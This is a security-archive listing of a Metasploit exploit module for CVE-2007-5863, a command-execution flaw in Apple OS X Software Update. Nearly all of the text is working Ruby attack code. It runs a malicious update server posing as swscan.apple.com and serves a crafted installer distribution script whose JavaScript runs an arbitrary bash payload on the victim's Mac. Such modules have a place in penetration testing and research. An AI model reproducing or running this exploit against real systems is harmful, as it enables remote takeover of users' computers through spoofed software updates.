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Apple OS X Software Update Command Execution

Apple OS X Software Update Command Execution
Posted Dec 31, 2009
Authored by Moritz Jodeit | Site metasploit.com

This Metasploit module exploits a feature in the Distribution Packages, which are used in the Apple Software Update mechanism. This feature allows for arbitrary command execution through JavaScript. This exploit provides the malicious update server. Requests must be redirected to this server by other means for this exploit to work.

tags | exploit, arbitrary, javascript
systems | apple
advisories | CVE-2007-5863
SHA-256 | 31bbe100ffdd2f91eaedeff7614f1752ef8f6fb3e51341837b95b2b328745b19

Apple OS X Software Update Command Execution

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##
# $Id: software_update.rb 7724 2009-12-06 05:50:37Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpServer::HTML

def initialize(info = {})
super(update_info(info,
'Name' => 'Apple OS X Software Update Command Execution',
'Description' => %q{
This module exploits a feature in the Distribution Packages,
which are used in the Apple Software Update mechanism. This feature
allows for arbitrary command execution through JavaScript. This exploit
provides the malicious update server. Requests must be redirected to
this server by other means for this exploit to work.
},
'Author' => [ 'Moritz Jodeit <moritz@jodeit.org>' ],
'License' => MSF_LICENSE,
'Version' => '$Revision: 7724 $',
'References' =>
[
['CVE', '2007-5863'],
['OSVDB', '40722'],
],
'Payload' =>
{
'BadChars' => "\x00",
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl ruby bash telnet',
}
},
'Platform' => 'osx',
'Targets' =>
[
[
'Automatic',
{
'Platform' => [ 'unix' ],
'Arch' => ARCH_CMD,
},
],
],
'DisclosureDate' => 'Dec 17 2007',
'DefaultTarget' => 0))

register_options(
[
OptPort.new('SRVPORT', [ true, "The local port to listen on.", 80 ]),
OptString.new('URIPATH', [ true, "The URI to use for this exploit.", "/" ])
], self.class)
end

# Encode some characters using character entity references and escape any
# quotation characters, by splitting the string into multiple parts.
def encode_payload(payload)
encoded = payload.gsub(/[&<>"']/) do |s|
case s
when '&'
"&"
when '<'
"<"
when '>'
">"
when '"'
'"+\'"\'+"'
when '\''
"'"
end
end
return '"' + encoded + '"'
end

# Generate the initial catalog file with references to the
# distribution script, which does the actual exploitation.
def generate_catalog(server)
languages = [ "", "Dutsch", "English", "French", "German", "Italian", "Japanese",
"Spanish", "da", "fi", "ko", "no", "pt", "sv", "zh_CN", "zh_TW" ]
productkey = rand_text_numeric(3) + "-" + rand_text_numeric(4)
distfile = rand_text_alpha(8) + ".dist"

sucatalog = '<?xml version="1.0" encoding="UTF-8"?>'
sucatalog << '<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">'
sucatalog << '<plist version="1.0">'
sucatalog << '<dict>'
sucatalog << '<key>Products</key><dict>'
sucatalog << "<key>#{productkey}</key><dict>"
sucatalog << '<key>Distributions</key><dict>'

languages.each do |l|
sucatalog << "<key>#{l}</key><string>http://#{server}/#{distfile}</string>\n"
end

sucatalog << '</dict></dict></dict></dict></plist>'

return sucatalog
end

# Generate distribution script, which calls our payload using JavaScript.
def generate_dist(payload)
func = rand_text_alpha(8)

dist = '<?xml version="1.0" encoding="UTF-8"?>'
dist << "<installer-gui-script minSpecVersion='1'>"
dist << '<options allow-external-scripts = "yes"/>'
dist << "<choices-outline ui='SoftwareUpdate'>"
dist << "<line choice='su'/>"
dist << "</choices-outline>"
dist << "<choice id='su' visible ='#{func}()'/>"
dist << "<script>"
dist << "function #{func}() { system.run('/bin/bash', '-c', #{encode_payload(payload)}); }"
dist << "</script>"
dist << "</installer-gui-script>"

return dist
end

def on_request_uri(cli, request)
date = Time.now
server = "swscan.apple.com"

header = {
'Content-Type' => 'text/plain',
'Last-Modified' => date,
'Date' => date,
}

if request.uri =~ /\.sucatalog$/
print_status("Sending initial distribution package to #{cli.peerhost}:#{cli.peerport}")
body = generate_catalog(server)
elsif request.uri =~ /\.dist$/
print_status("Sending distribution script to #{cli.peerhost}:#{cli.peerport}")
return if ((p = regenerate_payload(cli)) == nil)
body = generate_dist(p.encoded)
else
return
end
send_response(cli, body, header)
handler(cli)
end

end
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